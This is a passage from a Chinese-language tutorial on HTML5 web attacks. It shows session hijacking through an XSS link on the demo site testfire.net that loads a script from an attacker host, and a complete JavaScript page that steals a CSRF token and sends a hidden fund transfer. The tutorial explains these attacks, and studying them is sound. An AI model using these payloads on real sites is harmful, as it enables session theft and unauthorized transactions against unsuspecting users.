3、使用浏览器访问http://127.0.0.1:8008/sotf.console (firefox效果佳)
  4、不出问题,你将看到以下画面。(Shell of the Future有两个JavaScript的exp- e1.js和e2.js,我们可以利用XSS漏洞将其嵌入到受害者的浏览器)

 

  5、当一个用户登录下面的测试网站:
  http://www.testfire.net/bank/login.aspx (admin/admin)
  该站点的搜索功能粗在一个XSS漏洞,http://www.testfire.net/search.aspx?txtSearch=%3Cscript%3Ealert%2812%29%3C%2Fscript%3E
  6、攻击者发送一个恶意链接给用户,如下:
  http://www.testfire.net/search.aspx?txtSearch=%3Cscript%20src=%22http://127.0.0.1:8008/e1.js%22%3E%3C/script%3E
  7、当用户点击之后,攻击者的IP地址将会发送给攻击者,然后点击“Hijack Session”:

  8、点击Hijack Session之后,将出现如下画面:

  二:窃取CSRF令牌(token)
  目前很多互联网站点都在使用token来防御CSRF攻击,但是随着HTML5技术的普及,攻击者很有可能窃取到CSRF的token,如果CSRF token的请求URL(GET请求),利用前面提到的CORS协议,攻击者可以注入一个CSRF payload跨域请求到目标站点上。当然,利用的话需要服务端添加一个HTTP 头字段“origin”,并且需要设置该属性withCredentials为true,让我们来看看如何利用:
  1、某用户登录www.bank.com。
  2、假设该站点有CSRF保护,即在表单提交的地方添加了隐藏的token,然后发送GET请求到服务端进行验证,如下:
  <input type=”hidden” id=”test” name=”csrfToken” value=”12345678″ />
  请求如下:
  http://www.bank.com/Confirmation.jsp?value=200&csrfToken=1234234523
  3、攻击者通过email、IM聊天工具或其他方式发送一个恶意站点ww.attackersite.com
  4、攻击者可以提交一个Ajax请求到www.bank.com并且执行一些操作,但是需要知道CSRF的token值。
  5、所以攻击者需要窃取到token令牌,然后进行CSRF攻击。
  6、攻击者编写了下面的一段代码,发送Ajax请求到ConfirmTransfer.jsp页面并接受其响应,在返回的数据包中搜索csrfToken,找到后,另外一个Ajax请求被发送,其中包含了CSRF token。

 

<!DOCTYPE html> <html> <head> <script> function testing() { var xmlhttp; if (window.XMLHttpRequest) { xmlhttp=new XMLHttpRequest(); } else { xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.open("GET","http://bank/Myapp/ConfirmTransfer.jsp",false); xmlhttp.send(); if(xmlhttp.status==200) { var str=xmlhttp.responseText; var n=str.search("csrfToken"); var final=str.substring(n+18,n+28); var url = "http://bank/Myapp/TransferFund.jsp?datum1%2F=06-06-2013&amp;Account=1234&amp;csrfToken=" + escape(final); xmlhttp.open("GET", url, true); xmlhttp.send(); } } </script> </head> <body onload="testing();"> </body> </html>

  以上的一切操作全在后台进行,用户完全不知情,因此,在HTML5中,攻击者完全可能获取到CSRF TOKEN和执行一些操作。